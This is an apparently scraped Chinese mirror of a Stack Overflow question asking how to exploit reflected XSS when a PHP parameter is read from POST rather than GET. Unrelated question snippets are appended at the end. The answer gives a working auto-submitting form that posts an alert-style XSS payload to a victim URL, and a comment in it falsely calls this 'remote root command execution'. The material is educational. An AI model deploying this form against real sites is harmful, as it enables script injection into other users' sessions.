个人中心
文章发布
退出
作者热门文章
- html - 出于某种原因，IE8 对我的 Sass 文件中继承的 html5 CSS 不友好？
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景？
25
4
检查这个示例。它是用 PHP 编写的，但如果您不懂 PHP，您应该能够了解正在发生的事情。
echo 'You searched for "' . $_GET['q'] . '"';
现在，显然，这是一个坏主意，如果我要求......
http://www.example.com/?q=<script type="text/javascript">alert('xss');</script>
好的，现在我将 GET 更改为 POST...
echo 'You searched for "' . $_POST['q'] . '"';
现在 URL 中的查询字符串将不起作用。
我知道由于相同的域策略，我无法使用 AJAX 在那里发帖。如果我可以在域上运行 JavaScript，那么它已经存在安全问题。
我想到的一件事是遇到一个容易受到 XSS 攻击的网站，并添加一个表单，该表单可以发布到在加载时提交的目标网站(或者，当然，将人们重定向到您的执行此操作的网站)。这似乎进入了 CSRF 领域。
那么，利用第二个示例(使用 POST)的方法是什么？
谢谢
最佳答案
这是针对您易受攻击的代码的 xss 攻击。正如您所提到的，这是与 POST based CSRF 相同的攻击模式。 。在本例中，我将 POST 请求构建为表单，然后在表单的最底部调用 .submit()。为了调用submit，表单中必须有一个submit类型。 post 请求将立即执行，页面将重定向，最好在不可见的 iframe 中运行基于 post 的 csrf 漏洞利用。
<html>
<form id=1 method="post" action="http://victim/vuln.php">
<input type=hidden name="q" value="<script>alert(/xss/)</script>">
<input type="submit">
</form>
</html>
<script>
document.getElementById(1).submit();//remote root command execution!
</script>
我还建议阅读有关 sammy worm 的内容并随时询问有关其他的任何问题 exploits I have written 。
关于security - 如果参数 echo'd 从 GET 更改为 POST，可以使用哪些方法来利用 XSS？，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/4294531/
25
4
0
简而言之:我想从可变参数模板参数中提取各种选项，但不仅通过标签而且通过那些参数的索引，这些参数是未知的 标签。我喜欢 boost 中的方法(例如 heap 或 lockfree 策略)，但想让它与 S
我可以对单元格中的 excel IF 语句提供一些帮助吗？ 它在做什么？ 对“BaselineAmount”进行了哪些评估？ =IF(BaselineAmount, (Variance/Baselin
我正在使用以下方法: public async Task Save(Foo foo,out int param) { ....... MySqlParameter prmparamID
我正在使用 CodeGear RAD Studio IDE。 为了使用命令行参数测试我的应用程序，我多次使用了“运行 -> 参数”菜单中的“参数”字段。 但是每次我给它提供一个新值时，它都无法从“下拉
我已经为信用卡类编写了一些代码，粘贴在下面。我有一个接受上述变量的构造函数，并且正在研究一些方法将这些变量格式化为字符串，以便最终输出将类似于 号码:1234 5678 9012 3456 截止日期:
MySql IN 参数 - 在存储过程中使用时，VarChar IN 参数 val 是否需要单引号？ 我已经像平常一样创建了经典 ASP 代码，但我没有更新该列。 我需要引用 VarChar 参数吗？
给出了下面的开始，但似乎不知道如何完成它。本质上，如果我调用 myTest([one, Two, Three], 2); 它应该返回元素 third。必须使用for循环来找到我的解决方案。 funct
将 1113355579999 作为参数传递时，该值在函数内部变为 959050335。 调用(main.c): printf("%d\n", FindCommonDigit(111335557999
这个问题在这里已经有了答案: Is Java "pass-by-reference" or "pass-by-value"? (92 个回答) 关闭9年前。 public class StackOve
我真的很困惑，当像 1 == scanf("%lg", &entry) 交换为 scanf("%lg", &entry) == 1 没有区别。我的实验书上说的是前者，而我觉得后者是可以理解的。 1 =
我正在尝试使用调用 SetupDiGetDeviceRegistryProperty 的函数使用德尔福 7。该调用来自示例函数 SetupEnumAvailableComPorts .它看起来像这样:
我需要在现有项目上实现一些事件的显示。我无法更改数据库结构。 在我的 Controller 中，我(从 ajax 请求)传递了一个时间戳，并且我需要显示之前的 8 个事件。因此，如果时间戳是(转换后)
rails 新手。按照多态关联的教程，我遇到了这个以在create 和destroy 中设置@client。 @client = Client.find(params[:client_id] || p
通过将 VM 参数设置为 -Xmx1024m，我能够通过 Eclipse 运行 Java 程序-Xms256M。现在我想通过 Windows 中的 .bat 文件运行相同的 Java 程序 (jar)
我有一个 Delphi DLL，它在被 Delphi 应用程序调用时工作并导出声明为的方法: Procedure ProduceOutput(request,inputs:widestring; va
浏览完文档和示例后，我还没有弄清楚 schema.yaml 文件中的参数到底用在哪里。 在此处使用 AWS 代码示例:https://github.com/aws-samples/aws-proton
程序参数: procedure get_user_profile ( i_attuid in ras_user.attuid%type, i_data_group in data_g
我有一个字符串作为参数传递给我的存储过程。 dim AgentString as String = " 'test1', 'test2', 'test3' " 我想在 IN 中使用该参数声明。 AND
这个问题已经有答案了: When should I use "this" in a class? (17 个回答) 已关闭 6 年前。 我运行了一些java代码，我看到了一些我不太明白的东西。为什么下
我输入 scroll(0,10,200,10);但是当它运行时，它会传递字符串“xxpos”或“yypos”，我确实在没有撇号的情况下尝试过，但它就是行不通。 scroll = function(xp
我是一名优秀的程序员,十分优秀！